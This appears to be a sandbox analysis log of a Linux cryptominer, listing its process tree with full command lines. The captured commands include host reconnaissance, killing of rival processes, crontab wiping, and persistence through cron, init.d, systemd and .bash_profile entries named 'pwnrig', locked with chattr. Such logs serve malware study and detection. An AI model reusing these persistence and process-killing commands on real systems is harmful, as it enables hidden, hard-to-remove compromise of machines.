/usr/bin/hostnamehostname -I1⤵PID:3223
-
/usr/bin/awkawk "{print \$1}"1⤵PID:3225
-
/usr/bin/awkawk "{print \"-\"\$2}"1⤵PID:3230
-
/usr/bin/headhead -n 11⤵PID:3229
-
/usr/bin/grepgrep "Port "1⤵PID:3228
-
/usr/bin/catcat /etc/ssh/sshd_config1⤵PID:3227
-
/usr/bin/sedsed -e "s/\$//"1⤵PID:3239
-
/usr/bin/sedsed -e "s/^ *//"1⤵PID:3238
-
/usr/bin/cutcut -d: -f21⤵PID:3237
-
/usr/bin/grepgrep -m 1 "model name" /proc/cpuinfo1⤵
- Checks CPU configuration
PID:3236
-
/usr/bin/awkawk "{print \$1}"1⤵PID:3242
-
/usr/bin/awkawk "{print \$4}"1⤵PID:3245
-
/usr/bin/awkawk "{print \$4}"1⤵PID:3248
-
/usr/bin/wcwc -l1⤵PID:3273
-
/usr/bin/awkawk "{if(\$3>30.0) print \$2}"1⤵PID:3272
-
/usr/bin/grepgrep -- "-bash[[:space:]]*\$"1⤵PID:3271
-
/usr/bin/grepgrep -v grep1⤵PID:3270
-
/usr/bin/psps aux1⤵
- Reads runtime system information
PID:3269
-
/usr/bin/crontabcrontab -r1⤵PID:3416
-
/usr/bin/pkillpkill -f .klibsystem51⤵
- Reads CPU attributes
- Reads runtime system information
PID:3417
-
/usr/bin/pkillpkill -f .klibsystem41⤵PID:3418
-
/usr/bin/bashbash -c "echo \"* * * * * /home/.klibsystem5 >/dev/null 2>&1\" | crontab -"1⤵PID:3419
-
/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
PID:3421
-
-
/tmp/sys-helper/tmp/sys-helper1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:3422
-
/tmp/service-agent/tmp/service-agent -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d -pwn1⤵
- Executes dropped EXE
- Checks CPU configuration
- Checks hardware identifiers (DMI)
- Reads CPU attributes
- Reads hardware information
- Enumerates kernel/hardware configuration
PID:3423 -
/bin/shsh -c "echo \"[\$(hostname=\$(hostname -I 2>/dev/null || hostname -i 2>/dev/null);echo \$hostname | awk {'print \$1'} 2>/dev/null)\$(cat /etc/ssh/sshd_config 2>/dev/null | grep 'Port ' 2>/dev/null | head -n 1 2>/dev/null | awk {'print \"-\"\$2'} 2>/dev/null)][\$(whoami 2>/dev/null)][\$(hostname 2>/dev/null)][\$(grep -c ^processor /proc/cpuinfo 2>/dev/null)][\$(X=\$(grep -m 1 'model name' /proc/cpuinfo 2>/dev/null | cut -d: -f2 2>/dev/null | sed -e 's/^ *//' 2>/dev/null | sed -e 's/\$//' 2>/dev/null); if [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'QEMU' ]; then echo 'QEMU'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Haswell)' ]; then echo 'Haswell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Broadwell)' ]; then echo 'Broadwell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'AMD' ]; then echo \$X 2>/dev/null | awk {'print \$2\" \"\$3\" \"\$4'} 2>/dev/null; else echo \$X 2>/dev/null; fi)]\""2⤵PID:3424
-
/usr/bin/whoamiwhoami3⤵PID:3435
-
-
/usr/bin/hostnamehostname3⤵PID:3436
-
-
/usr/bin/grepgrep -c "^processor" /proc/cpuinfo3⤵
- Checks CPU configuration
PID:3437
-
-
-
/bin/shsh -c "ps -A -ostat,ppid 2>/dev/null | awk '/[zZ]/ && !a[\$2]++ {print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done;if [ `id -u 2>/dev/null` -eq '0' ]; then ps x 2>/dev/null | grep /etc/cron 2>/dev/null | grep -v grep 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"2⤵PID:3453
-
/usr/bin/awkawk "/[zZ]/ && !a[\$2]++ {print \$2}"3⤵PID:3455
-
-
/usr/bin/psps -A "-ostat,ppid"3⤵
- Reads CPU attributes
PID:3454
-
-
/usr/bin/idid -u3⤵PID:3457
-
-
/usr/bin/grepgrep -v grep3⤵PID:3460
-
-
/usr/bin/grepgrep /etc/cron3⤵PID:3459
-
-
/usr/bin/psps x3⤵PID:3458
-
-
-
/bin/shsh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then SNIFFDIR='/bin';PWNDIR='/bin'; else rm -rf /tmp/.pwn 2>/dev/null;mkdir /tmp/.pwn 2>/dev/null;SNIFFDIR='/tmp/.pwn';PWNDIR='/tmp';fi;PWNRIG='pwnrig';PWNRIGE='pwnrige';PWNRIGL='pwnrigl';CROND='crondr';SYSD='sysdr';INITD='initdr';BPROFILE='bprofr';MINER='/tmp/service-agent';PROGRAM='-bash';if [ `id -u 2>/dev/null` -eq '0' ]; then chattr -i -a \$SNIFFDIR/\$BPROFILE ~/.bash_profile >/dev/null 2>&1;fi;rm -rf \$SNIFFDIR/\$BPROFILE 2>/dev/null;sed -i \"/\$BPROFILE/d\" ~/.bash_profile 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$BPROFILE 2>/dev/null;echo \"cp -f -r -- \$SNIFFDIR/\$BPROFILE \$PWNDIR/\$PROGRAM 2>/dev/null && \$PWNDIR/\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1 && rm -rf -- \$PWNDIR/\$PROGRAM 2>/dev/null\" >> ~/.bash_profile 2>/dev/null;if [ `id -u 2>/dev/null` -eq '0' ]; then chattr +i +a \$SNIFFDIR/\$BPROFILE ~/.bash_profile >/dev/null 2>&1;mkdir -p /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.monthly /etc/cron.weekly 2>/dev/null;chattr -i -a /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$CROND 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$CROND 2>/dev/null;echo -e \"#!/bin/bash\\ncp -f -r -- \$SNIFFDIR/\$CROND \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/cron.d/\$PWNRIG /etc/cron.daily/\$PWNRIG /etc/cron.hourly/\$PWNRIG /etc/cron.monthly/\$PWNRIG /etc/cron.weekly/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/cron.*/\$PWNRIG 2>/dev/null;chmod +x /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND 2>/dev/null;chattr +i +a /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND >/dev/null 2>&1;if which chkconfig > /dev/null 2>&1; then chattr -i -a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;chkconfig \$PWNRIG off 2>/dev/null;chkconfig --del \$PWNRIG 2>/dev/null;rm -rf \$SNIFFDIR/\$INITD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$INITD 2>/dev/null;echo -e \"#!/bin/bash\\n#\\n# \$PWNRIG Start/Stop the \$PWNRIG clock daemon.\\n#\\n# chkconfig: 2345 90 60\\n# description: \$PWNRIG (by pwned)\\ncp -f -r -- \$SNIFFDIR/\$INITD \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d 2>/dev/null\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/init.d/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/init.d/\$PWNRIG 2>/dev/null;chmod +x /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD 2>/dev/null;chkconfig --add \$PWNRIG 2>/dev/null;chkconfig \$PWNRIG on 2>/dev/null;chattr +i +a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;fi;if which update-rc.d > /dev/null 2>&1; then chattr -i -a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;update-rc.d -f \$PWNRIG disable >/dev/null 2>&1;update-rc.d -f \$PWNRIG remove >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$INITD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$INITD 2>/dev/null;echo -e \"#!/bin/bash\\n### BEGIN INIT INFO\\n# Provides: \$PWNRIG\\n# Required-Start: \$all\\n# Required-Stop:\\n# Default-Start: 2 3 4 5\\n# Default-Stop:\\n# Short-Description: \$PWNRIG (by pwned)\\n### END INIT INFO\\ncp -f -r -- \$SNIFFDIR/\$INITD \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d 2>/dev/null\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/init.d/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/init.d/\$PWNRIG 2>/dev/null;chmod +x /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD 2>/dev/null;update-rc.d \$PWNRIG defaults >/dev/null 2>&1;update-rc.d \$PWNRIG enable >/dev/null 2>&1;chattr +i +a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;fi;if which systemctl > /dev/null 2>&1; then chattr -i -a /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service \$SNIFFDIR/\$SYSD >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$SYSD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$SYSD 2>/dev/null;echo -e \"[Unit]\\nDescription=\$PWNRIG\\n\\nWants=network.target\\nAfter=syslog.target network-online.target\\n\\n[Service]\\nType=forking\\nExecStart=/bin/bash -c 'cp -f -r -- \$SNIFFDIR/\$SYSD \$PWNDIR/\$PROGRAM 2>/dev/null && \$PWNDIR/\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1 && rm -rf -- \$PWNDIR/\$PROGRAM 2>/dev/null'\\nRestart=always\\nKillMode=process\\n\\n[Install]\\nWantedBy=multi-user.target\" | tee /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service >/dev/null;sed -i '1 s/-e //' /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service 2>/dev/null;chattr +i +a /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service \$SNIFFDIR/\$SYSD >/dev/null 2>&1;systemctl enable \$PWNRIGE.service 2> /dev/null;systemctl enable \$PWNRIGL.service 2> /dev/null;systemctl daemon-reload 2> /dev/null;systemctl reload-or-restart \$PWNRIGE.service 2> /dev/null;systemctl reload-or-restart \$PWNRIGL.service 2> /dev/null;fi;fi"2⤵PID:3462
-
/usr/bin/idid -u3⤵PID:3463
-
-
/usr/bin/idid -u3⤵PID:3464
-
-
/usr/bin/chattrchattr -i -a /bin/bprofr "~/.bash_profile"3⤵PID:3465
-
-
/usr/bin/rmrm -rf /bin/bprofr3⤵PID:3466
-
-
/usr/bin/sedsed -i /bprofr/d "~/.bash_profile"3⤵PID:3467
-
-
/usr/bin/cpcp -f -r -- /tmp/service-agent /bin/bprofr3⤵
- Writes file to system bin folder
PID:3468
-
-
/usr/bin/rmrm -rf /bin/initdr3⤵PID:3563
-
-
/usr/bin/cpcp -f -r -- /tmp/service-agent /bin/initdr3⤵
- Writes file to system bin folder
PID:3564
-
-
/usr/bin/teetee /etc/init.d/pwnrig3⤵
- Modifies init.d
PID:3566
-
-
/usr/bin/sedsed -i "1 s/-e //" /etc/init.d/pwnrig3⤵
- Modifies init.d
PID:3567
-
-
/usr/bin/chmodchmod +x /etc/init.d/pwnrig /bin/initdr3⤵PID:3568
-
-
/usr/sbin/update-rc.dupdate-rc.d pwnrig defaults3⤵PID:3569
-
/usr/local/sbin/systemctlsystemctl daemon-reload4⤵PID:3570
-
-
/usr/local/bin/systemctlsystemctl daemon-reload4⤵PID:3570
-
-
/usr/sbin/systemctlsystemctl daemon-reload4⤵PID:3570
-
-
/usr/bin/systemctlsystemctl daemon-reload4⤵
- Reads EFI boot settings
PID:3570
-
-
-
/usr/sbin/update-rc.dupdate-rc.d pwnrig enable3⤵PID:3596
-
/usr/local/sbin/systemctlsystemctl --quiet enable pwnrig4⤵PID:3597
-
-
/usr/local/bin/systemctlsystemctl --quiet enable pwnrig4⤵PID:3597
-
-
/usr/sbin/systemctlsystemctl --quiet enable pwnrig4⤵PID:3597
-
-
/usr/bin/systemctlsystemctl --quiet enable pwnrig4⤵
- Reads EFI boot settings
PID:3597
-
-
/usr/local/sbin/systemctlsystemctl daemon-reload4⤵PID:3598
-
-
/usr/local/bin/systemctlsystemctl daemon-reload4⤵PID:3598
-
-
/usr/sbin/systemctlsystemctl daemon-reload4⤵PID:3598
-
-
/usr/bin/systemctlsystemctl daemon-reload4⤵
- Reads EFI boot settings
PID:3598
-
-
-
/usr/bin/chattrchattr +i +a /etc/init.d/pwnrig /bin/initdr3⤵PID:3624
-
-
/usr/bin/whichwhich systemctl3⤵PID:3625
-
-
/usr/bin/chattrchattr -i -a /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service /bin/sysdr3⤵
- Attempts to change immutable files
PID:3626
-
-
/usr/bin/rmrm -rf /bin/sysdr3⤵PID:3627
-
-
/usr/bin/cpcp -f -r -- /tmp/service-agent /bin/sysdr3⤵
- Writes file to system bin folder
PID:3628
-
-
/usr/bin/teetee /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service3⤵
- Modifies systemd
PID:3630
-
-
/usr/bin/sedsed -i "1 s/-e //" /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service3⤵PID:3631
-
-
/usr/bin/chattrchattr +i +a /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service /bin/sysdr3⤵
- Attempts to change immutable files
PID:3632
-
-
/usr/bin/systemctlsystemctl enable pwnrige.service3⤵
- Reads EFI boot settings
PID:3633
-
-
/usr/bin/systemctlsystemctl enable pwnrigl.service3⤵
- Reads EFI boot settings
PID:3659
-
-
/usr/bin/systemctlsystemctl daemon-reload3⤵PID:3685
-
-
/usr/bin/systemctlsystemctl reload-or-restart pwnrige.service3⤵
- Reads EFI boot settings
PID:3711
-
-
-
/usr/bin/hostnamehostname -I1⤵
- Attempts to change immutable files
PID:3427
-
/usr/bin/awkawk "{print \$1}"1⤵PID:3429
-
/usr/bin/awkawk "{print \"-\"\$2}"1⤵PID:3434
-
/usr/bin/headhead -n 11⤵PID:3433
-
/usr/bin/grepgrep "Port "1⤵PID:3432
-
/usr/bin/catcat /etc/ssh/sshd_config1⤵PID:3431
-
/usr/bin/sedsed -e "s/\$//"1⤵PID:3443
-
/usr/bin/sedsed -e "s/^ *//"1⤵PID:3442
-
/usr/bin/cutcut -d: -f21⤵PID:3441
-
/usr/bin/grepgrep -m 1 "model name" /proc/cpuinfo1⤵
- Checks CPU configuration
PID:3440
-
/usr/bin/awkawk "{print \$1}"1⤵PID:3446
-
/usr/bin/awkawk "{print \$4}"1⤵PID:3449
-
/usr/bin/awkawk "{print \$4}"1⤵PID:3452
-
/tmp/service-agent/tmp/service-agent -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d1⤵
- Executes dropped EXE
- Checks CPU configuration
- Reads hardware information
- Enumerates kernel/hardware configuration
- Writes file to tmp directory
PID:3768 -
/bin/shsh -c "echo \"[\$(hostname=\$(hostname -I 2>/dev/null || hostname -i 2>/dev/null);echo \$hostname | awk {'print \$1'} 2>/dev/null)\$(cat /etc/ssh/sshd_config 2>/dev/null | grep 'Port ' 2>/dev/null | head -n 1 2>/dev/null | awk {'print \"-\"\$2'} 2>/dev/null)][\$(whoami 2>/dev/null)][\$(hostname 2>/dev/null)][\$(grep -c ^processor /proc/cpuinfo 2>/dev/null)][\$(X=\$(grep -m 1 'model name' /proc/cpuinfo 2>/dev/null | cut -d: -f2 2>/dev/null | sed -e 's/^ *//' 2>/dev/null | sed -e 's/\$//' 2>/dev/null); if [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'QEMU' ]; then echo 'QEMU'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Haswell)' ]; then echo 'Haswell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Broadwell)' ]; then echo 'Broadwell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'AMD' ]; then echo \$X 2>/dev/null | awk {'print \$2\" \"\$3\" \"\$4'} 2>/dev/null; else echo \$X 2>/dev/null; fi)]\""2⤵PID:3792
-
/usr/bin/whoamiwhoami3⤵PID:3803
-
-
/usr/bin/hostnamehostname3⤵PID:3804
-
-
/usr/bin/grepgrep -c "^processor" /proc/cpuinfo3⤵
- Checks CPU configuration
PID:3805
-
-
-
/bin/shsh -c "ps -A -ostat,ppid 2>/dev/null | awk '/[zZ]/ && !a[\$2]++ {print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done;if [ `id -u 2>/dev/null` -eq '0' ]; then ps x 2>/dev/null | grep /etc/cron 2>/dev/null | grep -v grep 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"2⤵PID:3821
-
/usr/bin/awkawk "/[zZ]/ && !a[\$2]++ {print \$2}"3⤵PID:3823
-
-
/usr/bin/psps -A "-ostat,ppid"3⤵
- Reads CPU attributes
PID:3822
-
-
/usr/bin/idid -u3⤵PID:3825
-
-
/usr/bin/grepgrep -v grep3⤵PID:3828
-
-
/usr/bin/grepgrep /etc/cron3⤵PID:3827
-
-
/usr/bin/psps x3⤵
- Reads runtime system information
PID:3826
-
-
-
/bin/shsh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done else ps -u `whoami 2>/dev/null` ux | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"2⤵PID:3830
-
/usr/bin/idid -u3⤵PID:3831
-
-
/usr/bin/awkawk "{if(\$3>30.0) print \$2}"3⤵PID:3836
-
-
/usr/bin/grepgrep -v /usr/sbin/httpd3⤵PID:3835
-
-
/usr/bin/grepgrep -v -- "-bash[[:space:]]*\$"3⤵PID:3834
-
-
/usr/bin/grepgrep -v grep3⤵PID:3833
-
-
/usr/bin/psps aux3⤵
- Reads runtime system information
PID:3832
-
-
-
/bin/shsh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then if [ `ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi else myid=`whoami 2>/dev/null`; if [ `ps -u \$myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps -u \$myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi fi"2⤵PID:3838
-
/usr/bin/idid -u3⤵PID:3839
-
-
-
/usr/bin/hostnamehostname -I1⤵PID:3795
-
/usr/bin/awkawk "{print \$1}"1⤵PID:3797
-
/usr/bin/awkawk "{print \"-\"\$2}"1⤵PID:3802
-
/usr/bin/headhead -n 11⤵PID:3801
-
/usr/bin/grepgrep "Port "1⤵PID:3800
-
/usr/bin/catcat /etc/ssh/sshd_config1⤵PID:3799
-
/usr/bin/sedsed -e "s/\$//"1⤵PID:3811
-
/usr/bin/sedsed -e "s/^ *//"1⤵PID:3810
-
/usr/bin/cutcut -d: -f21⤵PID:3809
-
/usr/bin/grepgrep -m 1 "model name" /proc/cpuinfo1⤵
- Checks CPU configuration
PID:3808
-
/usr/bin/awkawk "{print \$1}"1⤵PID:3814
-
/usr/bin/awkawk "{print \$4}"1⤵PID:3817
-
/usr/bin/awkawk "{print \$4}"1⤵PID:3820
-
/usr/bin/wcwc -l1⤵PID:3845
-
/usr/bin/awkawk "{if(\$3>30.0) print \$2}"1⤵PID:3844
-
/usr/bin/grepgrep -- "-bash[[:space:]]*\$"1⤵PID:3843
-
/usr/bin/grepgrep -v grep1⤵PID:3842
-
/usr/bin/psps aux1⤵
- Reads CPU attributes
PID:3841
-
/usr/bin/hostnamehostname -I1⤵PID:3871
-
/usr/bin/awkawk "{print \$1}"1⤵PID:3873
-
/usr/bin/awkawk "{print \"-\"\$2}"1⤵PID:3878
-
/usr/bin/headhead -n 11⤵PID:3877
-
/usr/bin/grepgrep "Port "1⤵PID:3876
-
/usr/bin/catcat /etc/ssh/sshd_config1⤵PID:3875
-
/usr/bin/sedsed -e "s/\$//"1⤵PID:3887
-
/usr/bin/sedsed -e "s/^ *//"1⤵PID:3886
-
/usr/bin/cutcut -d: -f21⤵PID:3885
-
/usr/bin/grepgrep -m 1 "model name" /proc/cpuinfo1⤵
- Checks CPU configuration
PID:3884
-
/usr/bin/awkawk "{print \$1}"1⤵PID:3890
-
/usr/bin/awkawk "{print \$4}"1⤵PID:3893
-
/usr/bin/awkawk "{print \$4}"1⤵PID:3896
-
/usr/bin/hostnamehostname -I1⤵PID:4249
-
/usr/bin/awkawk "{print \$1}"1⤵PID:4251
-
/usr/bin/awkawk "{print \"-\"\$2}"1⤵PID:4256
-
/usr/bin/headhead -n 11⤵PID:4255
-
/usr/bin/grepgrep "Port "1⤵PID:4254
-
/usr/bin/catcat /etc/ssh/sshd_config1⤵PID:4253
-
/usr/bin/sedsed -e "s/\$//"1⤵PID:4265
-
/usr/bin/sedsed -e "s/^ *//"1⤵PID:4264
-
/usr/bin/cutcut -d: -f21⤵PID:4263
-
/usr/bin/grepgrep -m 1 "model name" /proc/cpuinfo1⤵
- Checks CPU configuration
PID:4262
-
/usr/bin/awkawk "{print \$1}"1⤵PID:4268
-
/usr/bin/awkawk "{print \$4}"1⤵PID:4271
-
/usr/bin/awkawk "{print \$4}"1⤵PID:4274
-
/usr/bin/wcwc -l1⤵PID:4299
-
/usr/bin/awkawk "{if(\$3>30.0) print \$2}"1⤵PID:4298
-
/usr/bin/grepgrep -- "-bash[[:space:]]*\$"1⤵PID:4297
-
/usr/bin/grepgrep -v grep1⤵PID:4296
-
/usr/bin/psps aux1⤵PID:4295
-
/usr/bin/crontabcrontab -r1⤵PID:4301
-
/usr/bin/pkillpkill -f .klibsystem51⤵
- Reads CPU attributes
- Reads runtime system information
PID:4302
-
/usr/bin/pkillpkill -f .klibsystem41⤵
- Reads CPU attributes
- Reads runtime system information
PID:4303
-
/usr/bin/bashbash -c "echo \"* * * * * /dev/shm/.klibsystem5 >/dev/null 2>&1\" | crontab -"1⤵PID:4304
-
/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
PID:4306
-
-
/usr/bin/chattrchattr -ia /etc/cron.d/.lib-knlib41⤵
- Attempts to change immutable files
PID:4307
-
/usr/bin/chattrchattr +ia /etc/cron.d/.lib-knlib41⤵PID:4308
-
/usr/bin/chattrchattr -ia /var/spool/cron/.lib-knlib41⤵PID:4309
-
/usr/bin/chattrchattr +ia /var/spool/cron/.lib-knlib41⤵PID:4310
-
/usr/bin/chattrchattr -ia /etc/cron.hourly/.lib-knlib41⤵PID:4311
-
/usr/bin/chattrchattr +ia /etc/cron.hourly/.lib-knlib41⤵PID:4312
-
/usr/bin/chattrchattr -ia /etc/cron.daily/.lib-knlib41⤵PID:4313
-
/usr/bin/chattrchattr +ia /etc/cron.daily/.lib-knlib41⤵
- Attempts to change immutable files
PID:4314
-
/usr/bin/chattrchattr -ia /etc/cron.weekly/.lib-knlib41⤵PID:4315
-
/usr/bin/chattrchattr +ia /etc/cron.weekly/.lib-knlib41⤵PID:4316
-
/usr/bin/chattrchattr -ia /etc/cron.monthly/.lib-knlib41⤵PID:4317
-
/usr/bin/chattrchattr +ia /etc/cron.monthly/.lib-knlib41⤵PID:4318
-
/usr/bin/chattrchattr -ia /etc/anacrontab1⤵
- Attempts to change immutable files
PID:4319
-
/usr/bin/chattrchattr +ia /etc/anacrontab1⤵
- Attempts to change immutable files
PID:4320
-
/tmp/sys-helper/tmp/sys-helper1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:4321
-
/tmp/service-agent/tmp/service-agent -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d -pwn1⤵
- Executes dropped EXE
- Checks CPU configuration
- Checks hardware identifiers (DMI)
- Reads hardware information
- Enumerates kernel/hardware configuration
PID:4322 -
/bin/shsh -c "echo \"[\$(hostname=\$(hostname -I 2>/dev/null || hostname -i 2>/dev/null);echo \$hostname | awk {'print \$1'} 2>/dev/null)\$(cat /etc/ssh/sshd_config 2>/dev/null | grep 'Port ' 2>/dev/null | head -n 1 2>/dev/null | awk {'print \"-\"\$2'} 2>/dev/null)][\$(whoami 2>/dev/null)][\$(hostname 2>/dev/null)][\$(grep -c ^processor /proc/cpuinfo 2>/dev/null)][\$(X=\$(grep -m 1 'model name' /proc/cpuinfo 2>/dev/null | cut -d: -f2 2>/dev/null | sed -e 's/^ *//' 2>/dev/null | sed -e 's/\$//' 2>/dev/null); if [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'QEMU' ]; then echo 'QEMU'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Haswell)' ]; then echo 'Haswell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Broadwell)' ]; then echo 'Broadwell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'AMD' ]; then echo \$X 2>/dev/null | awk {'print \$2\" \"\$3\" \"\$4'} 2>/dev/null; else echo \$X 2>/dev/null; fi)]\""2⤵PID:4323
-
/usr/bin/whoamiwhoami3⤵PID:4334
-
-
/usr/bin/hostnamehostname3⤵PID:4335
-
-
/usr/bin/grepgrep -c "^processor" /proc/cpuinfo3⤵
- Checks CPU configuration
PID:4336
-
-
-
/bin/shsh -c "ps -A -ostat,ppid 2>/dev/null | awk '/[zZ]/ && !a[\$2]++ {print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done;if [ `id -u 2>/dev/null` -eq '0' ]; then ps x 2>/dev/null | grep /etc/cron 2>/dev/null | grep -v grep 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"2⤵PID:4352
-
/usr/bin/awkawk "/[zZ]/ && !a[\$2]++ {print \$2}"3⤵PID:4354
-
-
/usr/bin/psps -A "-ostat,ppid"3⤵PID:4353
-
-
/usr/bin/idid -u3⤵PID:4356
-
-
/usr/bin/grepgrep -v grep3⤵PID:4359
-
-
/usr/bin/grepgrep /etc/cron3⤵PID:4358
-
-
/usr/bin/psps x3⤵PID:4357
-
-
-
